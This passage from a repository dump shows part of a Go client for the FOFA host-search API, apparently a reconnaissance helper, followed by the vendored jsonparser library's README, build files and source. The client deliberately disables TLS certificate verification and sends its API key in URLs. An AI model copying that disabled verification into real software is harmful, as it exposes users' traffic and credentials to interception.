82 | ret, err := clt.QueryAsJSON(page, []byte(fofaQuery))
83 | if err != nil {
84 | fmt.Printf("%v\n", err.Error())
85 | os.Exit(1)
86 | }
87 | return ret
88 | }
89 |
90 | // NewFofaClient create a fofa client
91 | func NewFofaClient(email, key []byte) *Fofa {
92 | transCfg := &http.Transport{
93 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
94 | }
95 | return &Fofa{
96 | Email: email,
97 | Key: key,
98 | Client: &http.Client{
99 | Transport: transCfg, // disable tls verify
100 | },
101 | }
102 | }
103 |
104 | // Get overwrite http.Get
105 | func (ff *Fofa) Get(u string) ([]byte, error) {
106 |
107 | body, err := ff.Client.Get(u)
108 | if err != nil {
109 | return nil, err
110 | }
111 | defer body.Body.Close()
112 | content, err := ioutil.ReadAll(body.Body)
113 | if err != nil {
114 | return nil, err
115 | }
116 | return content, nil
117 | }
118 |
119 | // QueryAsJSON make a fofa query and return json data as result
120 | // echo 'domain="nosec.org"' | base64 - | xargs -I{}
121 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}"
122 | // host title ip domain port country city
123 | func (ff *Fofa) QueryAsJSON(page uint, args ...[]byte) ([]byte, error) {
124 | var (
125 | query = []byte(nil)
126 | fields = []byte("protocol,host,ip")
127 | q = []byte(nil)
128 | )
129 | switch {
130 | case len(args) == 1 || (len(args) == 2 && args[1] == nil):
131 | query = args[0]
132 | case len(args) == 2:
133 | query = args[0]
134 | fields = args[1]
135 | }
136 |
137 | q = []byte(base64.StdEncoding.EncodeToString(query))
138 | q = bytes.Join([][]byte{[]byte(defaultAPIUrl),
139 | []byte("email="), ff.Email,
140 | []byte("&key="), ff.Key,
141 | []byte("&qbase64="), q,
142 | []byte("&fields="), fields,
143 | []byte("&page="), []byte(strconv.Itoa(int(page))),
144 | []byte("&size="), []byte(strconv.Itoa(300)),
145 | }, []byte(""))
146 | //fmt.Printf("%s\n", q)
147 | content, err := ff.Get(string(q))
148 | if err != nil {
149 | return nil, err
150 | }
151 | errmsg, err := jsonparser.GetString(content, "errmsg")
152 | if err == nil {
153 | err = errors.New(errmsg)
154 | } else {
155 | err = nil
156 | }
157 | return content, err
158 | }
159 |
160 | // QueryAsArray make a fofa query and
161 | // return array data as result
162 | // echo 'domain="nosec.org"' | base64 - | xargs -I{}
163 | // curl "https://fofa.so/api/v1/search/all?email=${FOFA_EMAIL}&key=${FOFA_KEY}&qbase64={}"
164 | func (ff *Fofa) QueryAsArray(page uint, args ...[]byte) (result Results, err error) {
165 |
166 | var content []byte
167 |
168 | content, err = ff.QueryAsJSON(page, args...)
169 | if err != nil {
170 | return nil, err
171 | }
172 |
173 | errmsg, err := jsonparser.GetString(content, "errmsg")
174 | // err equals to nil on error
175 | if err == nil {
176 | return nil, errors.New(errmsg)
177 | }
178 |
179 | err = json.Unmarshal(content, &result)
180 |
181 | return
182 | }
183 |
184 | // UserInfo get user information
185 | func (ff *Fofa) UserInfo() (user *User, err error) {
186 | user = new(User)
187 | queryStr := strings.Join([]string{"https://fofa.so/api/v1/info/my?email=", string(ff.Email), "&key=", string(ff.Key)}, "")
188 |
189 | content, err := ff.Get(queryStr)
190 |
191 | if err != nil {
192 | return nil, err
193 | }
194 |
195 | if err = json.Unmarshal(content, user); err != nil {
196 | return nil, err
197 | }
198 |
199 | if len(user.Err) != 0 {
200 | return nil, errors.New(user.Err)
201 | }
202 |
203 | return user, nil
204 | }
205 |
206 | func (u *User) String() string {
207 | data, err := json.Marshal(u)
208 | if err != nil {
209 | log.Fatalf("json marshal failed. err: %s\n", err)
210 | return ""
211 | }
212 | return string(data)
213 | }
214 |
215 | func (r *result) String() string {
216 | data, err := json.Marshal(r)
217 | if err != nil {
218 | log.Fatalf("json marshal failed. err: %s\n", err)
219 | return ""
220 | }
221 | return string(data)
222 | }
223 |
224 | func (r *Results) String() string {
225 | data, err := json.Marshal(r)
226 | if err != nil {
227 | log.Fatalf("json marshal failed. err: %s\n", err)
228 | return ""
229 | }
230 | return string(data)
231 | }
232 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | *.test
3 |
4 | *.out
5 |
6 | *.mprof
7 |
8 | vendor/github.com/buger/goterm/
9 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/.travis.yml:
--------------------------------------------------------------------------------
1 | language: go
2 | go: 1.6
3 | script: go test -v ./.
4 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.6
2 |
3 | RUN go get github.com/Jeffail/gabs
4 | RUN go get github.com/bitly/go-simplejson
5 | RUN go get github.com/pquerna/ffjson
6 | RUN go get github.com/antonholmquist/jason
7 | RUN go get github.com/mreiferson/go-ujson
8 | RUN go get -tags=unsafe -u github.com/ugorji/go/codec
9 | RUN go get github.com/mailru/easyjson
10 |
11 | WORKDIR /go/src/github.com/buger/jsonparser
12 | ADD . /go/src/github.com/buger/jsonparser
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016 Leonid Bugaev
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/Makefile:
--------------------------------------------------------------------------------
1 | SOURCE = parser.go
2 | CONTAINER = jsonparser
3 | SOURCE_PATH = /go/src/github.com/buger/jsonparser
4 | BENCHMARK = JsonParser
5 | BENCHTIME = 5s
6 | TEST = .
7 | DRUN = docker run -v `pwd`:$(SOURCE_PATH) -i -t $(CONTAINER)
8 |
9 | build:
10 | docker build -t $(CONTAINER) .
11 |
12 | race:
13 | $(DRUN) --env GORACE="halt_on_error=1" go test ./. $(ARGS) -v -race -timeout 15s
14 |
15 | bench:
16 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -benchtime $(BENCHTIME) -v
17 |
18 | bench_local:
19 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench . $(ARGS) -benchtime $(BENCHTIME) -v
20 |
21 | profile:
22 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -memprofile mem.mprof -v
23 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -cpuprofile cpu.out -v
24 | $(DRUN) go test $(LDFLAGS) -test.benchmem -bench $(BENCHMARK) ./benchmark/ $(ARGS) -c
25 |
26 | test:
27 | $(DRUN) go test $(LDFLAGS) ./ -run $(TEST) -timeout 10s $(ARGS) -v
28 |
29 | fmt:
30 | $(DRUN) go fmt ./...
31 |
32 | vet:
33 | $(DRUN) go vet ./.
34 |
35 | bash:
36 | $(DRUN) /bin/bash
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/README.md:
--------------------------------------------------------------------------------
1 | [](https://goreportcard.com/report/github.com/buger/jsonparser) 
2 | # Alternative JSON parser for Go (so far fastest)
3 |
4 | It does not require you to know the structure of the payload (eg. create structs), and allows accessing fields by providing the path to them. It is up to **10 times faster** than standard `encoding/json` package (depending on payload size and usage), **allocates no memory**. See benchmarks below.
5 |
6 | ## Rationale
7 | Originally I made this for a project that relies on a lot of 3rd party APIs that can be unpredictable and complex.
8 | I love simplicity and prefer to avoid external dependecies. `encoding/json` requires you to know exactly your data structures, or if you prefer to use `map[string]interface{}` instead, it will be very slow and hard to manage.
9 | I investigated what's on the market and found that most libraries are just wrappers around `encoding/json`, there is few options with own parsers (`ffjson`, `easyjson`), but they still requires you to create data structures.
10 |
11 |
12 | Goal of this project is to push JSON parser to the performance limits and not sucrifice with compliance and developer user experience.
13 |
14 | ## Example
15 | For the given JSON our goal is to extract the user's full name, number of github followers and avatar.
16 |
17 | ```go
18 | import "github.com/buger/jsonparser"
19 |
20 | ...
21 |
22 | data := []byte(`{
23 | "person": {
24 | "name": {
25 | "first": "Leonid",
26 | "last": "Bugaev",
27 | "fullName": "Leonid Bugaev"
28 | },
29 | "github": {
30 | "handle": "buger",
31 | "followers": 109
32 | },
33 | "avatars": [
34 | { "url": "https://avatars1.githubusercontent.com/u/14009?v=3&s=460", "type": "thumbnail" }
35 | ]
36 | },
37 | "company": {
38 | "name": "Acme"
39 | }
40 | }`)
41 |
42 | // You can specify key path by providing arguments to Get function
43 | jsonparser.Get(data, "person", "name", "fullName")
44 |
45 | // There is `GetInt` and `GetBoolean` helpers if you exactly know key data type
46 | jsonparser.GetInt(data, "person", "github", "followers")
47 |
48 | // When you try to get object, it will return you []byte slice pointer to data containing it
49 | // In `company` it will be `{"name": "Acme"}`
50 | jsonparser.Get(data, "company")
51 |
52 | // If the key doesn't exist it will throw an error
53 | var size int64
54 | if value, _, err := jsonparser.GetInt(data, "company", "size"); err == nil {
55 | size = value
56 | }
57 |
58 | // You can use `ArrayEach` helper to iterate items [item1, item2 .... itemN]
59 | jsonparser.ArrayEach(data, func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
60 | fmt.Println(jsonparser.Get(value, "url"))
61 | }, "person", "avatars")
62 |
63 | // You can use `ObjectEach` helper to iterate objects { "key1":object1, "key2":object2, .... "keyN":objectN }
64 | jsonparser.ObjectEach(data, func(key []byte, value []byte, dataType jsonparser.ValueType, offset int) error {
65 | fmt.Printf("Key: '%s'\n Value: '%s'\n Type: %s\n", string(key), string(value), dataType)
66 | return nil
67 | }, "person", "name")
68 | ```
69 |
70 | ## Need to speedup your app?
71 |
72 | I'm available for consulting and can help you push your app performance to the limits. Ping me at: leonsbox@gmail.com.
73 |
74 | ## Reference
75 |
76 | Library API is really simple. You just need the `Get` method to perform any operation. The rest is just helpers around it.
77 |
78 | You also can view API at [godoc.org](https://godoc.org/github.com/buger/jsonparser)
79 |
80 |
81 | ### **`Get`**
82 | ```go
83 | func Get(data []byte, keys ...string) (value []byte, dataType jsonparser.ValueType, offset int, err error)
84 | ```
85 | Receives data structure, and key path to extract value from.
86 |
87 | Returns:
88 | * `value` - Pointer to original data structure containing key value, or just empty slice if nothing found or error
89 | * `dataType` - Can be: `NotExist`, `String`, `Number`, `Object`, `Array`, `Boolean` or `Null`
90 | * `offset` - Offset from provided data structure where key value ends. Used mostly internally, for example for `ArrayEach` helper.
91 | * `err` - If the key is not found or any other parsing issue, it should return error. If key not found it also sets `dataType` to `NotExist`
92 |
93 | Accepts multiple keys to specify path to JSON value (in case of quering nested structures).
94 | If no keys are provided it will try to extract the closest JSON value (simple ones or object/array), useful for reading streams or arrays, see `ArrayEach` implementation.
95 |
96 | ### **`GetString`**
97 | ```go
98 | func GetString(data []byte, keys ...string) (val string, err error)
99 | ```
100 | Returns strings properly handing escaped and unicode characters. Note that this will cause additional memory allocations.
101 |
102 | ### **`GetUnsafeString`**
103 | If you need string in your app, and ready to sacrifice with support of escaped symbols in favor of speed. It returns string mapped to existing byte slice memory, without any allocations:
104 | ```go
105 | s, _, := jsonparser.GetUnsafeString(data, "person", "name", "title")
106 | switch s {
107 | case 'CEO':
108 | ...
109 | case 'Engineer'
110 | ...
111 | ...
112 | }
113 | ```
114 | Note that `unsafe` here means that your string will exist until GC will free underlying byte slice, for most of cases it means that you can use this string only in current context, and should not pass it anywhere externally: through channels or any other way.
115 |
116 |
117 | ### **`GetBoolean`**, **`GetInt`** and **`GetFloat`**
118 | ```go
119 | func GetBoolean(data []byte, keys ...string) (val bool, err error)
120 |
121 | func GetFloat(data []byte, keys ...string) (val float64, err error)
122 |
123 | func GetInt(data []byte, keys ...string) (val float64, err error)
124 | ```
125 | If you know the key type, you can use the helpers above.
126 | If key data type do not match, it will return error.
127 |
128 | ### **`ArrayEach`**
129 | ```go
130 | func ArrayEach(data []byte, cb func(value []byte, dataType jsonparser.ValueType, offset int, err error), keys ...string)
131 | ```
132 | Needed for iterating arrays, accepts a callback function with the same return arguments as `Get`.
133 |
134 | ### **`ObjectEach`**
135 | ```go
136 | func ObjectEach(data []byte, callback func(key []byte, value []byte, dataType ValueType, offset int) error, keys ...string) (err error)
137 | ```
138 | Needed for iterating object, accepts a callback function. Example:
139 | ```go
140 | var handler func([]byte, []byte, jsonparser.ValueType, int) error
141 | handler = func(key []byte, value []byte, dataType jsonparser.ValueType, offset int) error {
142 | //do stuff here
143 | }
144 | jsonparser.ObjectEach(myJson, handler)
145 | ```
146 |
147 |
148 | ### **`KeyEach`**
149 | ```go
150 | func KeyEach(data []byte, cb func(idx int, value []byte, dataType jsonparser.ValueType, err error), paths ...[]string)
151 | ```
152 | When you need to read multiple keys, and you do not afraid of low-level API `KeyEach` is your friend. It read payload only single time, and calls callback function once path is found. For example when you call multiple times `Get`, it has to process payload multiple times, each time you call it. Depending on payload `KeyEach` can be multiple times faster than `Get`. Path can use nested keys as well!
153 |
154 | ```go
155 | paths := [][]string{
156 | []string{"uuid"},
157 | []string{"tz"},
158 | []string{"ua"},
159 | []string{"st"},
160 | }
161 | var data SmallPayload
162 |
163 | jsonparser.EachKey(smallFixture, func(idx int, value []byte, vt jsonparser.ValueType, err error){
164 | switch idx {
165 | case 0:
166 | data.Uuid, _ = value
167 | case 1:
168 | v, _ := jsonparser.ParseInt(value)
169 | data.Tz = int(v)
170 | case 2:
171 | data.Ua, _ = value
172 | case 3:
173 | v, _ := jsonparser.ParseInt(value)
174 | data.St = int(v)
175 | }
176 | }, paths...)
177 | ```
178 |
179 |
180 | ## What makes it so fast?
181 | * It does not rely on `encoding/json`, `reflection` or `interface{}`, the only real package dependency is `bytes`.
182 | * Operates with JSON payload on byte level, providing you pointers to the original data structure: no memory allocation.
183 | * No automatic type conversions, by default everything is a []byte, but it provides you value type, so you can convert by yourself (there is few helpers included).
184 | * Does not parse full record, only keys you specified
185 |
186 |
187 | ## Benchmarks
188 |
189 | There are 3 benchmark types, trying to simulate real-life usage for small, medium and large JSON payloads.
190 | For each metric, the lower value is better. Time/op is in nanoseconds. Values better than standard encoding/json marked as bold text.
191 | Benchmarks run on standard Linode 1024 box.
192 |
193 | Compared libraries:
194 | * https://golang.org/pkg/encoding/json
195 | * https://github.com/Jeffail/gabs
196 | * https://github.com/bitly/go-simplejson
197 | * https://github.com/antonholmquist/jason
198 | * https://github.com/mreiferson/go-ujson
199 | * https://github.com/ugorji/go/codec
200 | * https://github.com/pquerna/ffjson
201 | * https://github.com/mailru/easyjson
202 | * https://github.com/buger/jsonparser
203 |
204 | #### TLDR
205 | If you want to skip next sections we have 2 winner: `jsonparser` and `easyjson`.
206 | `jsonparser` is up to 10 times faster than standard `encoding/json` package (depending on payload size and usage), and almost infinitely (literally) better in memory consumption because it operates with data on byte level, and provide direct slice pointers.
207 | `easyjson` wins in CPU in medium tests and frankly i'm impressed with this package: it is remarkable results considering that it is almost drop-in replacement for `encoding/json` (require some code generation).
208 |
209 | It's hard to fully compare `jsonparser` and `easyjson` (or `ffson`), they a true parsers and fully process record, unlike `jsonparser` which parse only keys you specified.
210 |
211 | If you searching for replacement of `encoding/json` while keeping structs, `easyjson` is an amazing choise. If you want to process dynamic JSON, have memory constrains, or more control over your data you should try `jsonparser`.
212 |
213 | `jsonparser` performance heavily depends on usage, and it works best when you do not need to process full record, only some keys. The more calls you need to make, the slower it will be, in contrast `easyjson` (or `ffjson`, `encoding/json`) parser record only 1 time, and then you can make as many calls as you want.
214 |
215 | With great power comes great responsibility! :)
216 |
217 |
218 | #### Small payload
219 |
220 | Each test processes 190 bytes of http log as a JSON record.
221 | It should read multiple fields.
222 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_small_payload_test.go
223 |
224 | | Library | time/op | bytes/op | allocs/op |
225 | | --- | --- | --- | --- | --- |
226 | | encoding/json struct | 7879 | 880 | 18 |
227 | | encoding/json interface{} | 8946 | 1521 | 38|
228 | | Jeffail/gabs | 10053 | 1649 | 46 |
229 | | bitly/go-simplejson | 10128 | 2241 | 36 |
230 | | antonholmquist/jason | 27152 | 7237 | 101 |
231 | | github.com/ugorji/go/codec | 8806 | 2176 | 31 |
232 | | mreiferson/go-ujson | **7008** | **1409** | 37 |
233 | | pquerna/ffjson | **3769** | **624** | **15** |
234 | | mailru/easyjson | **2002** | **192** | **9** |
235 | | buger/jsonparser | **1367** | **0** | **0** |
236 | | buger/jsonparser (EachKey API) | **809** | **0** | **0** |
237 |
238 | Winners are ffjson, easyjson and jsonparser, where jsonparser is up to 9.8x faster than encoding/json and 4.6x faster than ffjson, and slightly faster than easyjson.
239 | If you look at memory allocation, jsonparser has no rivals, as it makes no data copy and operates with raw []byte structures and pointers to it.
240 |
241 | #### Medium payload
242 |
243 | Each test processes a 2.4kb JSON record (based on Clearbit API).
244 | It should read multiple nested fields and 1 array.
245 |
246 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_medium_payload_test.go
247 |
248 | | Library | time/op | bytes/op | allocs/op |
249 | | --- | --- | --- | --- | --- |
250 | | encoding/json struct | 57749 | 1336 | 29 |
251 | | encoding/json interface{} | 79297 | 10627 | 215 |
252 | | Jeffail/gabs | 83807 | 11202 | 235 |
253 | | bitly/go-simplejson | 88187 | 17187 | 220 |
254 | | antonholmquist/jason | 94099 | 19013 | 247 |
255 | | github.com/ugorji/go/codec | 114719 | 6712 | 152 |
256 | | mreiferson/go-ujson | **56972** | 11547 | 270 |
257 | | pquerna/ffjson | **20298** | **856** | **20** |
258 | | mailru/easyjson | **10512** | **336** | **12** |
259 | | buger/jsonparser | **15955** | **0** | **0** |
260 | | buger/jsonparser (EachKey API) | **8916** | **0** | **0** |
261 |
262 | The difference between ffjson and jsonparser in CPU usage is smaller, while the memory consumption difference is growing. On the other hand `easyjson` shows remarkable performance for medium payload.
263 |
264 | `gabs`, `go-simplejson` and `jason` are based on encoding/json and map[string]interface{} and actually only helpers for unstructured JSON, their performance correlate with `encoding/json interface{}`, and they will skip next round.
265 | `go-ujson` while have its own parser, shows same performance as `encoding/json`, also skips next round. Same situation with `ugorji/go/codec`, but it showed unexpectedly bad performance for complex payloads.
266 |
267 |
268 | #### Large payload
269 |
270 | Each test processes a 24kb JSON record (based on Discourse API)
271 | It should read 2 arrays, and for each item in array get a few fields.
272 | Basically it means processing a full JSON file.
273 |
274 | https://github.com/buger/jsonparser/blob/master/benchmark/benchmark_large_payload_test.go
275 |
276 | | Library | time/op | bytes/op | allocs/op |
277 | | --- | --- | --- | --- | --- |
278 | | encoding/json struct | 748336 | 8272 | 307 |
279 | | encoding/json interface{} | 1224271 | 215425 | 3395 |
280 | | pquerna/ffjson | **312271** | **7792** | **298** |
281 | | mailru/easyjson | **154186** | **6992** | **288** |
282 | | buger/jsonparser | **85308** | **0** | **0** |
283 |
284 | `jsonparser` now is a winner, but do not forget that it is way more lighweight parser than `ffson` or `easyjson`, and they have to parser all the data, while `jsonparser` parse only what you need. All `ffjson`, `easysjon` and `jsonparser` have their own parsing code, and does not depend on `encoding/json` or `interface{}`, thats one of the reasons why they are so fast. `easyjson` also use a bit of `unsafe` package to reduce memory consuption (in theory it can lead to some unexpected GC issue, but i did not tested enough)
285 |
286 | Also last benchmark did not included `EachKey` test, because in this particular case we need to read lot of Array values, and using `ArrayEach` is more efficient.
287 |
288 | ## Questions and support
289 |
290 | All bug-reports and suggestions should go though Github Issues.
291 | If you have some private questions you can send them directly to me: leonsbox@gmail.com
292 |
293 | ## Contributing
294 |
295 | 1. Fork it
296 | 2. Create your feature branch (git checkout -b my-new-feature)
297 | 3. Commit your changes (git commit -am 'Added some feature')
298 | 4. Push to the branch (git push origin my-new-feature)
299 | 5. Create new Pull Request
300 |
301 | ## Development
302 |
303 | All my development happens using Docker, and repo include some Make tasks to simplify development.
304 |
305 | * `make build` - builds docker image, usually can be called only once
306 | * `make test` - run tests
307 | * `make fmt` - run go fmt
308 | * `make bench` - run benchmarks (if you need to run only single benchmark modify `BENCHMARK` variable in make file)
309 | * `make profile` - runs benchmark and generate 3 files- `cpu.out`, `mem.mprof` and `benchmark.test` binary, which can be used for `go tool pprof`
310 | * `make bash` - enter container (i use it for running `go tool pprof` above)
311 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes.go:
--------------------------------------------------------------------------------
1 | package jsonparser
2 |
3 | // About 3x faster then strconv.ParseInt because does not check for range error and support only base 10, which is enough for JSON
4 | func parseInt(bytes []byte) (v int64, ok bool) {
5 | if len(bytes) == 0 {
6 | return 0, false
7 | }
8 |
9 | var neg bool = false
10 | if bytes[0] == '-' {
11 | neg = true
12 | bytes = bytes[1:]
13 | }
14 |
15 | for _, c := range bytes {
16 | if c >= '0' && c <= '9' {
17 | v = (10 * v) + int64(c-'0')
18 | } else {
19 | return 0, false
20 | }
21 | }
22 |
23 | if neg {
24 | return -v, true
25 | } else {
26 | return v, true
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes_safe.go:
--------------------------------------------------------------------------------
1 | // +build appengine appenginevm
2 |
3 | package jsonparser
4 |
5 | import (
6 | "strconv"
7 | )
8 |
9 | // See fastbytes_unsafe.go for explanation on why *[]byte is used (signatures must be consistent with those in that file)
10 |
11 | func equalStr(b *[]byte, s string) bool {
12 | return string(*b) == s
13 | }
14 |
15 | func parseFloat(b *[]byte) (float64, error) {
16 | return strconv.ParseFloat(string(*b), 64)
17 | }
18 |
19 | func bytesToString(b *[]byte) string {
20 | return string(*b)
21 | }
22 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/bytes_unsafe.go:
--------------------------------------------------------------------------------
1 | // +build !appengine,!appenginevm
2 |
3 | package jsonparser
4 |
5 | import (
6 | "strconv"
7 | "unsafe"
8 | )
9 |
10 | //
11 | // The reason for using *[]byte rather than []byte in parameters is an optimization. As of Go 1.6,
12 | // the compiler cannot perfectly inline the function when using a non-pointer slice. That is,
13 | // the non-pointer []byte parameter version is slower than if its function body is manually
14 | // inlined, whereas the pointer []byte version is equally fast to the manually inlined
15 | // version. Instruction count in assembly taken from "go tool compile" confirms this difference.
16 | //
17 | // TODO: Remove hack after Go 1.7 release
18 | //
19 | func equalStr(b *[]byte, s string) bool {
20 | return *(*string)(unsafe.Pointer(b)) == s
21 | }
22 |
23 | func parseFloat(b *[]byte) (float64, error) {
24 | return strconv.ParseFloat(*(*string)(unsafe.Pointer(b)), 64)
25 | }
26 |
27 | // A hack until issue golang/go#2632 is fixed.
28 | // See: https://github.com/golang/go/issues/2632
29 | func bytesToString(b *[]byte) string {
30 | return *(*string)(unsafe.Pointer(b))
31 | }
32 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/escape.go:
--------------------------------------------------------------------------------
1 | package jsonparser
2 |
3 | import (
4 | "bytes"
5 | "unicode/utf8"
6 | )
7 |
8 | // JSON Unicode stuff: see https://tools.ietf.org/html/rfc7159#section-7
9 |
10 | const supplementalPlanesOffset = 0x10000
11 | const highSurrogateOffset = 0xD800
12 | const lowSurrogateOffset = 0xDC00
13 |
14 | func combineUTF16Surrogates(high, low rune) rune {
15 | return supplementalPlanesOffset + (high-highSurrogateOffset)<<10 + (low - lowSurrogateOffset)
16 | }
17 |
18 | const badHex = -1
19 |
20 | func h2I(c byte) int {
21 | switch {
22 | case c >= '0' && c <= '9':
23 | return int(c - '0')
24 | case c >= 'A' && c <= 'F':
25 | return int(c - 'A' + 10)
26 | case c >= 'a' && c <= 'f':
27 | return int(c - 'a' + 10)
28 | }
29 | return badHex
30 | }
31 |
32 | // decodeSingleUnicodeEscape decodes a single \uXXXX escape sequence. The prefix \u is assumed to be present and
33 | // is not checked.
34 | // In JSON, these escapes can either come alone or as part of "UTF16 surrogate pairs" that must be handled together.
35 | // This function only handles one; decodeUnicodeEscape handles this more complex case.
36 | func decodeSingleUnicodeEscape(in []byte) (rune, bool) {
37 | // We need at least 6 characters total
38 | if len(in) < 6 {
39 | return utf8.RuneError, false
40 | }
41 |
42 | // Convert hex to decimal
43 | h1, h2, h3, h4 := h2I(in[2]), h2I(in[3]), h2I(in[4]), h2I(in[5])
44 | if h1 == badHex || h2 == badHex || h3 == badHex || h4 == badHex {
45 | return utf8.RuneError, false
46 | }
47 |
48 | // Compose the hex digits
49 | return rune(h1<<12 + h2<<8 + h3<<4 + h4), true
50 | }
51 |
52 | func decodeUnicodeEscape(in []byte) (rune, int) {
53 | if r, ok := decodeSingleUnicodeEscape(in); !ok {
54 | // Invalid Unicode escape
55 | return utf8.RuneError, -1
56 | } else if r < highSurrogateOffset {
57 | // Valid Unicode escape in Basic Multilingual Plane
58 | return r, 6
59 | } else if r2, ok := decodeSingleUnicodeEscape(in[6:]); !ok { // Note: previous decodeSingleUnicodeEscape success guarantees at least 6 bytes remain
60 | // UTF16 "high surrogate" without manditory valid following Unicode escape for the "low surrogate"
61 | return utf8.RuneError, -1
62 | } else if r2 < lowSurrogateOffset {
63 | // Invalid UTF16 "low surrogate"
64 | return utf8.RuneError, -1
65 | } else {
66 | // Valid UTF16 surrogate pair
67 | return combineUTF16Surrogates(r, r2), 12
68 | }
69 |
70 | }
71 |
72 | // backslashCharEscapeTable: when '\X' is found for some byte X, it is to be replaced with backslashCharEscapeTable[X]
73 | var backslashCharEscapeTable = [...]byte{
74 | '"': '"',
75 | '\\': '\\',
76 | '/': '/',
77 | 'b': '\b',
78 | 'f': '\f',
79 | 'n': '\n',
80 | 'r': '\r',
81 | 't': '\t',
82 | }
83 |
84 | // unescapeToUTF8 unescapes the single escape sequence starting at 'in' into 'out' and returns
85 | // how many characters were consumed from 'in' and emitted into 'out'.
86 | // If a valid escape sequence does not appear as a prefix of 'in', (-1, -1) to signal the error.
87 | func unescapeToUTF8(in, out []byte) (inLen int, outLen int) {
88 | if len(in) < 2 || in[0] != '\\' {
89 | // Invalid escape due to insufficient characters for any escape or no initial backslash
90 | return -1, -1
91 | }
92 |
93 | // https://tools.ietf.org/html/rfc7159#section-7
94 | switch e := in[1]; e {
95 | case '"', '\\', '/', 'b', 'f', 'n', 'r', 't':
96 | // Valid basic 2-character escapes (use lookup table)
97 | out[0] = backslashCharEscapeTable[e]
98 | return 2, 1
99 | case 'u':
100 | // Unicode escape
101 | if r, inLen := decodeUnicodeEscape(in); inLen == -1 {
102 | // Invalid Unicode escape
103 | return -1, -1
104 | } else {
105 | // Valid Unicode escape; re-encode as UTF8
106 | outLen := utf8.EncodeRune(out, r)
107 | return inLen, outLen
108 | }
109 | }
110 |
111 | return -1, -1
112 | }
113 |
114 | // unescape unescapes the string contained in 'in' and returns it as a slice.
115 | // If 'in' contains no escaped characters:
116 | // Returns 'in'.
117 | // Else, if 'out' is of sufficient capacity (guaranteed if cap(out) >= len(in)):
118 | // 'out' is used to build the unescaped string and is returned with no extra allocation
119 | // Else:
120 | // A new slice is allocated and returned.
121 | func Unescape(in, out []byte) ([]byte, error) {
122 | firstBackslash := bytes.IndexByte(in, '\\')
123 | if firstBackslash == -1 {
124 | return in, nil
125 | }
126 |
127 | // Get a buffer of sufficient size (allocate if needed)
128 | if cap(out) < len(in) {
129 | out = make([]byte, len(in))
130 | } else {
131 | out = out[0:len(in)]
132 | }
133 |
134 | // Copy the first sequence of unescaped bytes to the output and obtain a buffer pointer (subslice)
135 | copy(out, in[:firstBackslash])
136 | in = in[firstBackslash:]
137 | buf := out[firstBackslash:]
138 |
139 | for len(in) > 0 {
140 | // Unescape the next escaped character
141 | inLen, bufLen := unescapeToUTF8(in, buf)
142 | if inLen == -1 {
143 | return nil, MalformedStringEscapeError
144 | }
145 |
146 | in = in[inLen:]
147 | buf = buf[bufLen:]
148 |
149 | // Copy everything up until the next backslash
150 | nextBackslash := bytes.IndexByte(in, '\\')
151 | if nextBackslash == -1 {
152 | copy(buf, in)
153 | buf = buf[len(in):]
154 | break
155 | } else {
156 | copy(buf, in[:nextBackslash])
157 | buf = buf[nextBackslash:]
158 | in = in[nextBackslash:]
159 | }
160 | }
161 |
162 | // Trim the out buffer to the amount that was actually emitted
163 | return out[:len(out)-len(buf)], nil
164 | }
165 |
--------------------------------------------------------------------------------
/main/Developer/Fofa/vendor/github.com/buger/jsonparser/parser.go:
--------------------------------------------------------------------------------
1 | package jsonparser
2 |
3 | import (
4 | "bytes"
5 | "errors"
6 | "fmt"
7 | "math"
8 | )
9 |
10 | // Errors
11 | var (
12 | KeyPathNotFoundError = errors.New("Key path not found")
13 | UnknownValueTypeError = errors.New("Unknown value type")
14 | MalformedJsonError = errors.New("Malformed JSON error")
